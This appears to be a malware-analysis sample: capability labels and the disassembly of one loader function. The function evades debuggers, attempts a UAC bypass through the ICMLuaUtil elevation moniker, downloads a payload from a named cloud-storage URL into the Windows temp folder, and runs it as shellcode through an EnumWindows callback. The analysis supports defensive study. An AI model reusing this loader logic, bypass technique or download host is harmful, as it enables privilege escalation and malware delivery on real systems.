Function at 0x4022c0
Capabilities:
Allocate or change rwx memory
Bypass uac via icmluautil
Check for outputdebugstring error
Check for peb beingdebugged flag
Create http request
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get token membership
Hide graphical window
Print debug messages
Read data from internet
Read file on windows
Receive data
Suspend thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x87c
mov eax, dword [0x436068]
xor eax, esp
mov dword [esp + 0x878], eax
push ebx
push esi
push edi
push 0
call fcn.0040d93d
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
add esp, 4
test edx, edx
jg 0x402301
jl 0x4022fa
cmp eax, 0x61157460
jae 0x402301
mov edx, 0x430360
jmp 0x40230e
push 0x13
call esi
test eax, eax
jne 0x402370
mov edx, 0x430364
call fcn.004029e0
push eax
call fcn.00402c90
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
add esp, 4
mov ebx, dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0
call fcn.0040d93d
add esp, 4
test edx, edx
jg 0x402346
jl 0x40233f
cmp eax, 0x61157460
jae 0x402346
mov edx, 0x430360
jmp 0x402353
push 0x13
call esi
test eax, eax
jne 0x402370
mov edx, 0x430364
call fcn.004029e0
push eax
call fcn.00402c90
add esp, 4
call edi
push eax
call ebx
cmp eax, 0xffffffff
jne 0x402328
jmp 0x40280c
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call esi
push 0
push 0xf020
push 0x112
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
push 0
call esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x38d
call ebx
mov byte [esp + 0x12], 0
mov eax, dword fs:[0x30]
mov al, byte [eax + 2]
mov byte [esp + 0x12], al
push 0x430368
push str.wps.txt
call fcn.0040acf9
add esp, 8
mov edi, eax
mov esi, 0x1869f
nop
push 0
call fcn.0040d93d
add esp, 4
push eax
call fcn.0040ac30
add esp, 4
call fcn.0040ac0f
push edi
push 1
mov byte [esp + 0x5d], al
lea eax, [esp + 0x5c]
push 0x19
push eax
call fcn.0040d853
add esp, 0x10
sub esi, 1
jne 0x4023d0
push edi
call fcn.0040b1c6
add esp, 4
push 0x384
call ebx
push 0x3039
call dword [sym.imp.KERNEL32.dll_SetLastError]
push str.Test_for_debugger_
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push 0x320
call ebx
mov byte [esp + 0x13], 0
mov eax, dword fs:[0x30]
mov al, byte [eax + 2]
mov byte [esp + 0x13], al
push 0x104
lea eax, [esp + 0x27c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor edi, edi
mov dword [esp + 0x28], 0
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], edi
push eax
push edi
push edi
push edi
push edi
push edi
push edi
push 0x220
push 0x20
push 2
lea eax, [esp + 0x48]
mov dword [esp + 0x48], edi
push eax
mov word [esp + 0x50], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x4024af
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x20]
push edi
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x4024b3
call esi
mov edi, eax
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x4024ca
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov dword [esp + 0x1c], 0
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x12c
call ebx
cmp dword [esp + 0x28], 0
jne 0x4025ed
call fcn.00401ff0
push 2
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [esp + 0x14], eax
lea ecx, [esp + 0x30]
mov dword [esp + 0x18], 0
mov edx, 0x24
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub edx, 1
jne 0x402507
movups xmm0, xmmword [str.Elevation:Administrator_new:]
mov ax, word [0x43026c]
lea edi, [esp + 0x70]
mov dword [esp + 0x30], 0x24
add edi, 0xfffffffe
movups xmmword [esp + 0x70], xmm0
mov dword [esp + 0x44], 4
movups xmm0, xmmword [0x430244]
mov word [esp + 0xa8], ax
movups xmmword [esp + 0x80], xmm0
movups xmm0, xmmword [0x430254]
movups xmmword [esp + 0x90], xmm0
movq xmm0, qword [0x430264]
movq qword [esp + 0xa0], xmm0
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x402572
mov ecx, 0x13
lea eax, [esp + 0x18]
mov esi, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
rep movsd dword es:[edi], dword [esi]
push eax
push 0x430444
lea eax, [esp + 0x38]
push eax
lea eax, [esp + 0x7c]
movsw word es:[edi], word [esi]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov esi, dword [esp + 0x18]
test eax, eax
jne 0x4025ca
test esi, esi
je 0x4025d6
mov eax, dword [esi]
lea ecx, [esp + 0x278]
push 5
push 0
push 0
mov eax, dword [eax + 0x24]
push 0
push ecx
push esi
call eax
test esi, esi
je 0x4025d6
mov eax, dword [esi]
push esi
mov eax, dword [eax + 8]
call eax
cmp dword [esp + 0x14], 0
jne 0x4025e3
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0x320
jmp 0x40280a
push 0x12c
call ebx
push 0x12c
call ebx
push 0x12c
call ebx
push 0x1e
call ebx
push 0x12c
call ebx
push 0
push 0
push 0
push 1
push str.File_Downloader
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
test edi, edi
jne 0x40263f
push 0x12c
call ebx
push str.Failed_to_initialize_WinINet_library_n
call fcn.004010e0
add esp, 4
jmp 0x40280c
push 0x3039
call dword [sym.imp.KERNEL32.dll_SetLastError]
push str.Test_for_debugger_
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call esi
push 0
push 0x84000100
push 0
push 0
push str.https:__ww3kx3ou_1322353970.cos.ap_chengdu.myqcloud.com_khby03_3.bin
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
push 0x12c
mov esi, eax
call ebx
test esi, esi
jne 0x402699
push str.https:__ww3kx3ou_1322353970.cos.ap_chengdu.myqcloud.com_khby03_3.bin
push str.Failed_to_open_URL__s_n
call fcn.004010e0
add esp, 8
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x40280c
push 0x43042c
push str.C:windows_tempClient1.bin
call fcn.0040acf9
add esp, 8
mov dword [esp + 0x18], eax
push 0x12c
call ebx
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [esp + 0x2c]
push eax
push 0x400
lea eax, [esp + 0x488]
push eax
push esi
call edi
test eax, eax
je 0x40271b
mov ebx, dword [esp + 0x18]
nop dword [eax]
mov eax, dword [esp + 0x2c]
test eax, eax
je 0x402715
push ebx
push eax
lea eax, [esp + 0x488]
push 1
push eax
call fcn.0040d853
add esp, 0x10
lea eax, [esp + 0x2c]
push eax
push 0x400
lea eax, [esp + 0x488]
push eax
push esi
call edi
test eax, eax
jne 0x4026e0
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push dword [esp + 0x18]
call fcn.0040b1c6
add esp, 4
push 0x12c
call ebx
push 0x12c
call ebx
push 0x12c
call ebx
push 0x12c
call ebx
push 0x430430
push str.C:windows_tempClient1.bin
call fcn.0040acf9
add esp, 8
mov esi, eax
push 0x12c
call ebx
push 2
push 0
push esi
call fcn.0040b519
add esp, 0xc
push esi
call fcn.0040abdf
add esp, 4
mov edi, eax
push 0x12c
call ebx
push 0
push 0
push esi
call fcn.0040b519
add esp, 0xc
push edi
call fcn.0040dcd4
add esp, 4
mov dword [esp + 0x18], eax
push 0x12c
call ebx
push esi
push 1
push edi
push dword [esp + 0x24]
call fcn.0040db99
add esp, 0x10
push 0x12c
call ebx
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x1e
mov esi, eax
call ebx
test edi, edi
je 0x4027f8
test esi, esi
jne 0x4027e5
call fcn.0040d92a
mov dword [eax], 0x16
call fcn.0040b84b
jmp 0x4027f8
mov eax, dword [esp + 0x18]
test eax, eax
je 0x4027d3
push edi
push eax
push esi
call fcn.00407590
add esp, 0xc
push 0x1e
call ebx
push 0
push esi
call dword [sym.imp.USER32.dll_EnumWindows]
push 0x12c
call ebx
mov ecx, dword [esp + 0x884]
mov eax, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00405b44
mov esp, ebp
pop ebp
ret